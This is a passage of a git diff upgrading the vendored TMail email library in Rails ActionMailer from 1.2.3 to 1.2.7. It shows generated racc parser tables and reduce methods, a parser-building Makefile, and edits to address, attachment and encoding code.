1, 75, :_reduce_none, - 1, 77, :_reduce_none, - 1, 77, :_reduce_none, - 1, 77, :_reduce_none, - 1, 66, :_reduce_none, - 2, 66, :_reduce_none, - 3, 60, :_reduce_85, - 1, 40, :_reduce_86, - 3, 40, :_reduce_87, - 1, 79, :_reduce_none, - 2, 79, :_reduce_89, - 1, 41, :_reduce_90, - 2, 41, :_reduce_91, - 3, 42, :_reduce_92, - 5, 43, :_reduce_93, - 3, 43, :_reduce_94, - 0, 80, :_reduce_95, - 5, 80, :_reduce_96, - 5, 80, :_reduce_97, - 1, 44, :_reduce_98, - 3, 45, :_reduce_99, - 0, 81, :_reduce_none, - 1, 81, :_reduce_none, - 1, 78, :_reduce_none, - 1, 78, :_reduce_none, - 1, 78, :_reduce_none, - 1, 78, :_reduce_none, - 1, 78, :_reduce_none, - 1, 78, :_reduce_none, - 1, 78, :_reduce_none ] - -racc_reduce_n = 109 - -racc_shift_n = 167 - -racc_action_table = [ - -70, -69, 23, 25, 145, 146, 29, 31, 105, 106, - 16, 17, 20, 22, 136, 27, -70, -69, 32, 101, - -70, -69, 153, 100, 113, 115, -70, -69, -70, 109, - 75, 23, 25, 101, 154, 29, 31, 142, 143, 16, - 17, 20, 22, 107, 27, 23, 25, 32, 98, 29, - 31, 96, 94, 16, 17, 20, 22, 78, 27, 23, - 25, 32, 112, 29, 31, 74, 91, 16, 17, 20, - 22, 88, 117, 92, 81, 32, 23, 25, 80, 123, - 29, 31, 100, 125, 16, 17, 20, 22, 126, 23, - 25, 109, 32, 29, 31, 91, 128, 16, 17, 20, - 22, 129, 27, 23, 25, 32, 101, 29, 31, 101, - 130, 16, 17, 20, 22, 79, 52, 23, 25, 32, - 78, 29, 31, 133, 78, 16, 17, 20, 22, 77, - 23, 25, 75, 32, 29, 31, 65, 62, 16, 17, - 20, 22, 139, 23, 25, 101, 32, 29, 31, 60, - 100, 16, 17, 20, 22, 44, 27, 101, 147, 32, - 23, 25, 120, 148, 29, 31, 151, 152, 16, 17, - 20, 22, 42, 27, 156, 158, 32, 23, 25, 120, - 40, 29, 31, 15, 163, 16, 17, 20, 22, 40, - 27, 23, 25, 32, 68, 29, 31, 165, 166, 16, - 17, 20, 22, nil, 27, 23, 25, 32, nil, 29, - 31, 74, nil, 16, 17, 20, 22, nil, 23, 25, - nil, 32, 29, 31, nil, nil, 16, 17, 20, 22, - nil, 23, 25, nil, 32, 29, 31, nil, nil, 16, - 17, 20, 22, nil, 23, 25, nil, 32, 29, 31, - nil, nil, 16, 17, 20, 22, nil, 23, 25, nil, - 32, 29, 31, nil, nil, 16, 17, 20, 22, nil, - 27, 23, 25, 32, nil, 29, 31, nil, nil, 16, - 17, 20, 22, nil, 23, 25, nil, 32, 29, 31, - nil, nil, 16, 17, 20, 22, nil, 23, 25, nil, - 32, 29, 31, nil, nil, 16, 17, 20, 22, nil, - 84, 25, nil, 32, 29, 31, nil, 87, 16, 17, - 20, 22, 4, 6, 7, 8, 9, 10, 11, 12, - 13, 1, 2, 3, 84, 25, nil, nil, 29, 31, - nil, 87, 16, 17, 20, 22, 84, 25, nil, nil, - 29, 31, nil, 87, 16, 17, 20, 22, 84, 25, - nil, nil, 29, 31, nil, 87, 16, 17, 20, 22, - 84, 25, nil, nil, 29, 31, nil, 87, 16, 17, - 20, 22, 84, 25, nil, nil, 29, 31, nil, 87, - 16, 17, 20, 22, 84, 25, nil, nil, 29, 31, - nil, 87, 16, 17, 20, 22 ] - -racc_action_check = [ - 75, 28, 68, 68, 136, 136, 68, 68, 72, 72, - 68, 68, 68, 68, 126, 68, 75, 28, 68, 67, - 75, 28, 143, 66, 86, 86, 75, 28, 75, 75, - 28, 3, 3, 86, 143, 3, 3, 134, 134, 3, - 3, 3, 3, 73, 3, 151, 151, 3, 62, 151, - 151, 60, 56, 151, 151, 151, 151, 51, 151, 52, - 52, 151, 80, 52, 52, 52, 50, 52, 52, 52, - 52, 45, 89, 52, 42, 52, 71, 71, 41, 96, - 71, 71, 97, 98, 71, 71, 71, 71, 100, 7, - 7, 101, 71, 7, 7, 102, 104, 7, 7, 7, - 7, 105, 7, 8, 8, 7, 108, 8, 8, 111, - 112, 8, 8, 8, 8, 40, 8, 9, 9, 8, - 36, 9, 9, 117, 121, 9, 9, 9, 9, 33, - 10, 10, 70, 9, 10, 10, 13, 12, 10, 10, - 10, 10, 130, 2, 2, 131, 10, 2, 2, 11, - 135, 2, 2, 2, 2, 6, 2, 138, 139, 2, - 90, 90, 90, 140, 90, 90, 141, 142, 90, 90, - 90, 90, 5, 90, 147, 150, 90, 127, 127, 127, - 4, 127, 127, 1, 156, 127, 127, 127, 127, 158, - 127, 26, 26, 127, 26, 26, 26, 162, 163, 26, - 26, 26, 26, nil, 26, 27, 27, 26, nil, 27, - 27, 27, nil, 27, 27, 27, 27, nil, 154, 154, - nil, 27, 154, 154, nil, nil, 154, 154, 154, 154, - nil, 122, 122, nil, 154, 122, 122, nil, nil, 122, - 122, 122, 122, nil, 76, 76, nil, 122, 76, 76, - nil, nil, 76, 76, 76, 76, nil, 38, 38, nil, - 76, 38, 38, nil, nil, 38, 38, 38, 38, nil, - 38, 55, 55, 38, nil, 55, 55, nil, nil, 55, - 55, 55, 55, nil, 94, 94, nil, 55, 94, 94, - nil, nil, 94, 94, 94, 94, nil, 59, 59, nil, - 94, 59, 59, nil, nil, 59, 59, 59, 59, nil, - 114, 114, nil, 59, 114, 114, nil, 114, 114, 114, - 114, 114, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 77, 77, nil, nil, 77, 77, - nil, 77, 77, 77, 77, 77, 44, 44, nil, nil, - 44, 44, nil, 44, 44, 44, 44, 44, 113, 113, - nil, nil, 113, 113, nil, 113, 113, 113, 113, 113, - 88, 88, nil, nil, 88, 88, nil, 88, 88, 88, - 88, 88, 74, 74, nil, nil, 74, 74, nil, 74, - 74, 74, 74, 74, 129, 129, nil, nil, 129, 129, - nil, 129, 129, 129, 129, 129 ] - -racc_action_pointer = [ - 320, 152, 129, 17, 165, 172, 137, 75, 89, 103, - 116, 135, 106, 105, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, 177, 191, 1, nil, - nil, nil, nil, 109, nil, nil, 94, nil, 243, nil, - 99, 64, 74, nil, 332, 52, nil, nil, nil, nil, - 50, 31, 45, nil, nil, 257, 36, nil, nil, 283, - 22, nil, 16, nil, nil, nil, -3, -10, -12, nil, - 103, 62, -8, 15, 368, 0, 230, 320, nil, nil, - 47, nil, nil, nil, nil, nil, 4, nil, 356, 50, - 146, nil, nil, nil, 270, nil, 65, 56, 52, nil, - 57, 62, 79, nil, 68, 81, nil, nil, 77, nil, - nil, 80, 96, 344, 296, nil, nil, 108, nil, nil, - nil, 98, 217, nil, nil, nil, -19, 163, nil, 380, - 128, 116, nil, nil, 14, 124, -26, nil, 128, 141, - 148, 141, 152, 7, nil, nil, nil, 160, nil, nil, - 149, 31, nil, nil, 204, nil, 167, nil, 174, nil, - nil, nil, 169, 184, nil, nil, nil ] - -racc_action_default = [ - -109, -109, -109, -109, -14, -109, -20, -109, -109, -109, - -109, -109, -109, -109, -10, -95, -105, -106, -77, -44, - -107, -11, -108, -79, -43, -102, -109, -109, -60, -103, - -55, -104, -78, -68, -54, -71, -45, -12, -109, -1, - -109, -109, -109, -2, -109, -22, -51, -48, -50, -3, - -40, -41, -109, -46, -4, -86, -5, -88, -6, -90, - -109, -7, -95, -8, -9, -98, -100, -61, -59, -56, - -69, -109, -109, -109, -109, -75, -109, -109, -57, -15, - -109, 167, -73, -80, -82, -21, -24, -81, -109, -27, - -109, -83, -47, -89, -109, -91, -109, -100, -109, -99, - -101, -75, -58, -52, -109, -109, -64, -63, -65, -76, - -72, -67, -109, -109, -109, -26, -23, -109, -29, -49, - -84, -42, -87, -92, -94, -95, -109, -109, -62, -109, - -109, -25, -74, -28, -31, -100, -109, -53, -66, -109, - -109, -34, -109, -109, -93, -96, -97, -109, -18, -13, - -38, -109, -30, -33, -109, -32, -16, -19, -14, -35, - -36, -37, -109, -109, -39, -85, -17 ] - -racc_goto_table = [ - 39, 67, 70, 73, 38, 66, 69, 24, 37, 57, - 59, 36, 55, 67, 99, 90, 85, 157, 69, 108, - 83, 134, 111, 76, 49, 53, 141, 70, 73, 150, - 118, 89, 45, 155, 159, 149, 140, 21, 14, 19, - 119, 102, 64, 63, 61, 124, 70, 104, 58, 132, - 83, 56, 97, 83, 54, 93, 43, 5, 131, 95, - 116, nil, 76, nil, 83, 76, nil, 127, nil, 38, - nil, nil, nil, 103, 138, nil, 110, nil, nil, nil, - nil, nil, nil, 144, nil, nil, nil, nil, nil, 83, - 83, nil, nil, nil, 57, nil, nil, 122, nil, 121, - nil, nil, nil, nil, nil, 83, nil, nil, nil, nil, - nil, nil, nil, nil, nil, 135, nil, nil, nil, nil, - nil, nil, 93, nil, nil, nil, 70, 161, 38, 70, - 162, 160, 137, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, 164 ] - -racc_goto_check = [ - 2, 37, 37, 29, 36, 46, 28, 13, 13, 41, - 41, 31, 45, 37, 47, 32, 24, 23, 28, 25, - 44, 20, 25, 42, 4, 4, 21, 37, 29, 22, - 19, 18, 17, 26, 27, 16, 15, 12, 11, 33, - 34, 35, 10, 9, 8, 47, 37, 29, 7, 43, - 44, 6, 46, 44, 5, 41, 3, 1, 25, 41, - 24, nil, 42, nil, 44, 42, nil, 32, nil, 36, - nil, nil, nil, 13, 25, nil, 41, nil, nil, nil, - nil, nil, nil, 47, nil, nil, nil, nil, nil, 44, - 44, nil, nil, nil, 41, nil, nil, 45, nil, 31, - nil, nil, nil, nil, nil, 44, nil, nil, nil, nil, - nil, nil, nil, nil, nil, 46, nil, nil, nil, nil, - nil, nil, 41, nil, nil, nil, 37, 29, 36, 37, - 29, 28, 13, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, 2 ] - -racc_goto_pointer = [ - nil, 57, -4, 50, 17, 46, 42, 38, 33, 31, - 29, 37, 35, 5, nil, -94, -105, 26, -14, -59, - -97, -108, -112, -133, -28, -55, -110, -117, -20, -24, - nil, 9, -35, 37, -50, -27, 1, -25, nil, nil, - nil, 0, -5, -65, -24, 3, -10, -52 ] - -racc_goto_default = [ - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 48, 41, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, 86, nil, nil, 30, 34, - 50, 51, nil, 46, 47, nil, 26, 28, 71, 72, - 33, 35, 114, 82, 18, nil, nil, nil ] - -racc_token_table = { - false => 0, - Object.new => 1, - :DATETIME => 2, - :RECEIVED => 3, - :MADDRESS => 4, - :RETPATH => 5, - :KEYWORDS => 6, - :ENCRYPTED => 7, - :MIMEVERSION => 8, - :CTYPE => 9, - :CENCODING => 10, - :CDISPOSITION => 11, - :ADDRESS => 12, - :MAILBOX => 13, - :DIGIT => 14, - :ATOM => 15, - "," => 16, - ":" => 17, - :FROM => 18, - :BY => 19, - "@" => 20, - :DOMLIT => 21, - :VIA => 22, - :WITH => 23, - :ID => 24, - :FOR => 25, - ";" => 26, - "<" => 27, - ">" => 28, - "." => 29, - :QUOTED => 30, - :TOKEN => 31, - "/" => 32, - "=" => 33 } - -racc_use_result_var = false - -racc_nt_base = 34 - -Racc_arg = [ - racc_action_table, - racc_action_check, - racc_action_default, - racc_action_pointer, - racc_goto_table, - racc_goto_check, - racc_goto_default, - racc_goto_pointer, - racc_nt_base, - racc_reduce_table, - racc_token_table, - racc_shift_n, - racc_reduce_n, - racc_use_result_var ] - -Racc_token_to_s_table = [ -'$end', -'error', -'DATETIME', -'RECEIVED', -'MADDRESS', -'RETPATH', -'KEYWORDS', -'ENCRYPTED', -'MIMEVERSION', -'CTYPE', -'CENCODING', -'CDISPOSITION', -'ADDRESS', -'MAILBOX', -'DIGIT', -'ATOM', -'","', -'":"', -'FROM', -'BY', -'"@"', -'DOMLIT', -'VIA', -'WITH', -'ID', -'FOR', -'";"', -'"<"', -'">"', -'"."', -'QUOTED', -'TOKEN', -'"/"', -'"="', -'$start', -'content', -'datetime', -'received', -'addrs_TOP', -'retpath', -'keys', -'enc', -'version', -'ctype', -'cencode', -'cdisp', -'addr_TOP', -'mbox', -'day', -'hour', -'zone', -'from', -'by', -'via', -'with', -'id', -'for', -'received_datetime', -'received_domain', -'domain', -'msgid', -'received_addrspec', -'routeaddr', -'spec', -'addrs', -'group_bare', -'commas', -'group', -'addr', -'mboxes', -'addr_phrase', -'local_head', -'routes', -'at_domains', -'local', -'word', -'dots', -'domword', -'atom', -'phrase', -'params', -'opt_semicolon'] - -Racc_debug_parser = false - -##### racc system variables end ##### - - # reduce 0 omitted - -module_eval <<'.,.,', 'parser.y', 16 - def _reduce_1( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 17 - def _reduce_2( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 18 - def _reduce_3( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 19 - def _reduce_4( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 20 - def _reduce_5( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 21 - def _reduce_6( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 22 - def _reduce_7( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 23 - def _reduce_8( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 24 - def _reduce_9( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 25 - def _reduce_10( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 26 - def _reduce_11( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 27 - def _reduce_12( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 36 - def _reduce_13( val, _values) - t = Time.gm(val[3].to_i, val[2], val[1].to_i, 0, 0, 0) - (t + val[4] - val[5]).localtime - end -.,., - - # reduce 14 omitted - - # reduce 15 omitted - -module_eval <<'.,.,', 'parser.y', 45 - def _reduce_16( val, _values) - (val[0].to_i * 60 * 60) + - (val[2].to_i * 60) - end -.,., - -module_eval <<'.,.,', 'parser.y', 51 - def _reduce_17( val, _values) - (val[0].to_i * 60 * 60) + - (val[2].to_i * 60) + - (val[4].to_i) - end -.,., - -module_eval <<'.,.,', 'parser.y', 56 - def _reduce_18( val, _values) - timezone_string_to_unixtime(val[0]) - end -.,., - -module_eval <<'.,.,', 'parser.y', 61 - def _reduce_19( val, _values) - val - end -.,., - - # reduce 20 omitted - -module_eval <<'.,.,', 'parser.y', 67 - def _reduce_21( val, _values) - val[1] - end -.,., - - # reduce 22 omitted - -module_eval <<'.,.,', 'parser.y', 73 - def _reduce_23( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 79 - def _reduce_24( val, _values) - join_domain(val[0]) - end -.,., - -module_eval <<'.,.,', 'parser.y', 83 - def _reduce_25( val, _values) - join_domain(val[2]) - end -.,., - -module_eval <<'.,.,', 'parser.y', 87 - def _reduce_26( val, _values) - join_domain(val[0]) - end -.,., - - # reduce 27 omitted - -module_eval <<'.,.,', 'parser.y', 93 - def _reduce_28( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 98 - def _reduce_29( val, _values) - [] - end -.,., - -module_eval <<'.,.,', 'parser.y', 103 - def _reduce_30( val, _values) - val[0].push val[2] - val[0] - end -.,., - - # reduce 31 omitted - -module_eval <<'.,.,', 'parser.y', 109 - def _reduce_32( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 113 - def _reduce_33( val, _values) - val[1] - end -.,., - - # reduce 34 omitted - -module_eval <<'.,.,', 'parser.y', 119 - def _reduce_35( val, _values) - val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 125 - def _reduce_36( val, _values) - val[0].spec - end -.,., - -module_eval <<'.,.,', 'parser.y', 129 - def _reduce_37( val, _values) - val[0].spec - end -.,., - - # reduce 38 omitted - -module_eval <<'.,.,', 'parser.y', 136 - def _reduce_39( val, _values) - val[1] - end -.,., - - # reduce 40 omitted - - # reduce 41 omitted - - # reduce 42 omitted - - # reduce 43 omitted - - # reduce 44 omitted - - # reduce 45 omitted - - # reduce 46 omitted - -module_eval <<'.,.,', 'parser.y', 146 - def _reduce_47( val, _values) - [ Address.new(nil, nil) ] - end -.,., - -module_eval <<'.,.,', 'parser.y', 152 - def _reduce_48( val, _values) - val - end -.,., - -module_eval <<'.,.,', 'parser.y', 157 - def _reduce_49( val, _values) - val[0].push val[2] - val[0] - end -.,., - - # reduce 50 omitted - - # reduce 51 omitted - -module_eval <<'.,.,', 'parser.y', 165 - def _reduce_52( val, _values) - val - end -.,., - -module_eval <<'.,.,', 'parser.y', 170 - def _reduce_53( val, _values) - val[0].push val[2] - val[0] - end -.,., - - # reduce 54 omitted - - # reduce 55 omitted - -module_eval <<'.,.,', 'parser.y', 178 - def _reduce_56( val, _values) - val[1].phrase = Decoder.decode(val[0]) - val[1] - end -.,., - - # reduce 57 omitted - -module_eval <<'.,.,', 'parser.y', 185 - def _reduce_58( val, _values) - AddressGroup.new(val[0], val[2]) - end -.,., - -module_eval <<'.,.,', 'parser.y', 185 - def _reduce_59( val, _values) - AddressGroup.new(val[0], []) - end -.,., - -module_eval <<'.,.,', 'parser.y', 188 - def _reduce_60( val, _values) - val[0].join('.') - end -.,., - -module_eval <<'.,.,', 'parser.y', 189 - def _reduce_61( val, _values) - val[0] << ' ' << val[1].join('.') - end -.,., - -module_eval <<'.,.,', 'parser.y', 196 - def _reduce_62( val, _values) - val[2].routes.replace val[1] - val[2] - end -.,., - -module_eval <<'.,.,', 'parser.y', 200 - def _reduce_63( val, _values) - val[1] - end -.,., - - # reduce 64 omitted - -module_eval <<'.,.,', 'parser.y', 203 - def _reduce_65( val, _values) - [ val[1].join('.') ] - end -.,., - -module_eval <<'.,.,', 'parser.y', 204 - def _reduce_66( val, _values) - val[0].push val[3].join('.'); val[0] - end -.,., - -module_eval <<'.,.,', 'parser.y', 206 - def _reduce_67( val, _values) - Address.new( val[0], val[2] ) - end -.,., - -module_eval <<'.,.,', 'parser.y', 207 - def _reduce_68( val, _values) - Address.new( val[0], nil ) - end -.,., - - # reduce 69 omitted - -module_eval <<'.,.,', 'parser.y', 210 - def _reduce_70( val, _values) - val[0].push ''; val[0] - end -.,., - -module_eval <<'.,.,', 'parser.y', 213 - def _reduce_71( val, _values) - val - end -.,., - -module_eval <<'.,.,', 'parser.y', 222 - def _reduce_72( val, _values) - val[1].times do - val[0].push '' - end - val[0].push val[2] - val[0] - end -.,., - -module_eval <<'.,.,', 'parser.y', 224 - def _reduce_73( val, _values) - val - end -.,., - -module_eval <<'.,.,', 'parser.y', 233 - def _reduce_74( val, _values) - val[1].times do - val[0].push '' - end - val[0].push val[2] - val[0] - end -.,., - -module_eval <<'.,.,', 'parser.y', 234 - def _reduce_75( val, _values) - 0 - end -.,., - -module_eval <<'.,.,', 'parser.y', 235 - def _reduce_76( val, _values) - 1 - end -.,., - - # reduce 77 omitted - - # reduce 78 omitted - - # reduce 79 omitted - - # reduce 80 omitted - - # reduce 81 omitted - - # reduce 82 omitted - - # reduce 83 omitted - - # reduce 84 omitted - -module_eval <<'.,.,', 'parser.y', 253 - def _reduce_85( val, _values) - val[1] = val[1].spec - val.join('') - end -.,., - -module_eval <<'.,.,', 'parser.y', 254 - def _reduce_86( val, _values) - val - end -.,., - -module_eval <<'.,.,', 'parser.y', 255 - def _reduce_87( val, _values) - val[0].push val[2]; val[0] - end -.,., - - # reduce 88 omitted - -module_eval <<'.,.,', 'parser.y', 258 - def _reduce_89( val, _values) - val[0] << ' ' << val[1] - end -.,., - -module_eval <<'.,.,', 'parser.y', 265 - def _reduce_90( val, _values) - val.push nil - val - end -.,., - -module_eval <<'.,.,', 'parser.y', 269 - def _reduce_91( val, _values) - val - end -.,., - -module_eval <<'.,.,', 'parser.y', 274 - def _reduce_92( val, _values) - [ val[0].to_i, val[2].to_i ] - end -.,., - -module_eval <<'.,.,', 'parser.y', 279 - def _reduce_93( val, _values) - [ val[0].downcase, val[2].downcase, decode_params(val[3]) ] - end -.,., - -module_eval <<'.,.,', 'parser.y', 283 - def _reduce_94( val, _values) - [ val[0].downcase, nil, decode_params(val[1]) ] - end -.,., - -module_eval <<'.,.,', 'parser.y', 288 - def _reduce_95( val, _values) - {} - end -.,., - -module_eval <<'.,.,', 'parser.y', 293 - def _reduce_96( val, _values) - val[0][ val[2].downcase ] = ('"' + val[4].to_s + '"') - val[0] - end -.,., - -module_eval <<'.,.,', 'parser.y', 298 - def _reduce_97( val, _values) - val[0][ val[2].downcase ] = val[4] - val[0] - end -.,., - -module_eval <<'.,.,', 'parser.y', 303 - def _reduce_98( val, _values) - val[0].downcase - end -.,., - -module_eval <<'.,.,', 'parser.y', 308 - def _reduce_99( val, _values) - [ val[0].downcase, decode_params(val[1]) ] - end -.,., - - # reduce 100 omitted - - # reduce 101 omitted - - # reduce 102 omitted - - # reduce 103 omitted - - # reduce 104 omitted - - # reduce 105 omitted - - # reduce 106 omitted - - # reduce 107 omitted - - # reduce 108 omitted - - def _reduce_none( val, _values) - val[0] - end - - end # class Parser - -end # module TMail diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail.rb similarity index 71% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail.rb index 18003659..79d9fa82 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail.rb @@ -3,3 +3,4 @@ require 'tmail/mail' require 'tmail/mailbox' require 'tmail/core_extensions' require 'tmail/net' +require 'tmail/vendor/rchardet-1.3/lib/rchardet' \ No newline at end of file diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/Makefile b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/Makefile new file mode 100644 index 00000000..8688b7fc --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/Makefile @@ -0,0 +1,18 @@ +# lib/tmail/Makefile +# + +debug: + rm -f parser.rb + make parser.rb DEBUG=true + +parser.rb: parser.y + if [ "$(DEBUG)" = true ]; then \ + racc -v -g -o$@ parser.y ;\ + else \ + racc -E -o$@ parser.y ;\ + fi + +clean: + rm -f parser.rb parser.output + +distclean: clean diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/address.rb similarity index 86% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/address.rb index 982ad5b6..d506eaf4 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/address.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/address.rb @@ -46,7 +46,7 @@ module TMail # # Just pass the email address in as a string to Address.parse: # - # email = TMail::Address.parse('Mikel Lindsaar ) + # email = TMail::Address.parse('Mikel Lindsaar ') # #=> # # email.address # #=> "mikel@lindsaar.net" @@ -63,7 +63,7 @@ module TMail # Address.parse and catch any SyntaxError: # # begin - # TMail::Mail.parse("mikel 2@@@@@ me .com") + # TMail::Address.parse("mikel 2@@@@@ me .com") # rescue TMail::SyntaxError # puts("Invalid Email Address Detected") # else @@ -81,41 +81,7 @@ module TMail # # Raises a TMail::SyntaxError on invalid email format def Address.parse( str ) - Parser.parse :ADDRESS, special_quote_address(str) - end - - def Address.special_quote_address(str) #:nodoc: - # Takes a string which is an address and adds quotation marks to special - # edge case methods that the RACC parser can not handle. - # - # Right now just handles two edge cases: - # - # Full stop as the last character of the display name: - # Mikel L. - # Returns: - # "Mikel L." - # - # Unquoted @ symbol in the display name: - # mikel@me.com - # Returns: - # "mikel@me.com" - # - # Any other address not matching these patterns just gets returned as is. - case - # This handles the missing "" in an older version of Apple Mail.app - # around the display name when the display name contains a '@' - # like 'mikel@me.com ' - # Just quotes it to: '"mikel@me.com" ' - when str =~ /\A([^"].+@.+[^"])\s(<.*?>)\Z/ - return "\"#{$1}\" #{$2}" - # This handles cases where 'Mikel A. ' which is a trailing - # full stop before the address section. Just quotes it to - # '"Mikel A. " - when str =~ /\A(.*?\.)\s(<.*?>)\Z/ - return "\"#{$1}\" #{$2}" - else - str - end + Parser.parse :ADDRESS, str end def address_group? #:nodoc: @@ -412,7 +378,7 @@ module TMail if first first = false else - strategy.meta ',' + strategy.puts_meta ',' end strategy.space mbox.accept strategy diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/attachments.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/attachments.rb new file mode 100644 index 00000000..19ce1aa8 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/attachments.rb @@ -0,0 +1,65 @@ +=begin rdoc + += Attachment handling file + +=end + +require 'kconv' +require 'stringio' + +module TMail + class Attachment < StringIO + attr_accessor :original_filename, :content_type + alias quoted_filename original_filename + end + + class Mail + def has_attachments? + attachment?(self) || multipart? && parts.any? { |part| attachment?(part) } + end + + # Returns true if this part's content main type is text, else returns false. + # By main type is meant "text/plain" is text. "text/html" is text + def text_content_type? + self.header['content-type'] && (self.header['content-type'].main_type == 'text') + end + + def inline_attachment?(part) + part['content-id'] || (part['content-disposition'] && part['content-disposition'].disposition == 'inline' && !part.text_content_type?) + end + + def attachment?(part) + part.disposition_is_attachment? || (!part.content_type.nil? && !part.text_content_type?) unless part.multipart? + end + + def attachments + if multipart? + parts.collect { |part| attachment(part) }.flatten.compact + elsif attachment?(self) + [attachment(self)] + end + end + + private + + def attachment(part) + if part.multipart? + part.attachments + elsif attachment?(part) + content = part.body # unquoted automatically by TMail#body + file_name = (part['content-location'] && part['content-location'].body) || + part.sub_header('content-type', 'name') || + part.sub_header('content-disposition', 'filename') || + 'noname' + + return if content.blank? + + attachment = TMail::Attachment.new(content) + attachment.original_filename = file_name.strip unless file_name.blank? + attachment.content_type = part.content_type + attachment + end + end + + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/base64.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/base64.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/base64.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/base64.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/compat.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/compat.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/compat.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/compat.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/config.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/config.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/config.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/config.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/core_extensions.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/core_extensions.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/core_extensions.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/core_extensions.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/encode.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/encode.rb similarity index 98% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/encode.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/encode.rb index 458dbbfe..af66dfac 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/encode.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/encode.rb @@ -113,6 +113,7 @@ module TMail encoded = '=\?(?:iso-2022-jp|euc-jp|shift_jis)\?[QB]\?[a-z0-9+/=]+\?=' ENCODED_WORDS = /#{encoded}(?:\s+#{encoded})*/i + SPACER = "\t" OUTPUT_ENCODING = { 'EUC' => 'e', @@ -165,6 +166,10 @@ module TMail @f << str end + def puts_meta( str ) + @f << str + end + def text( str ) @f << decode(str) end @@ -301,6 +306,10 @@ module TMail add_text str end + def puts_meta( str ) + add_text str + @eol + SPACER + end + def text( str ) scanadd normalize_encoding(str) end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/header.rb 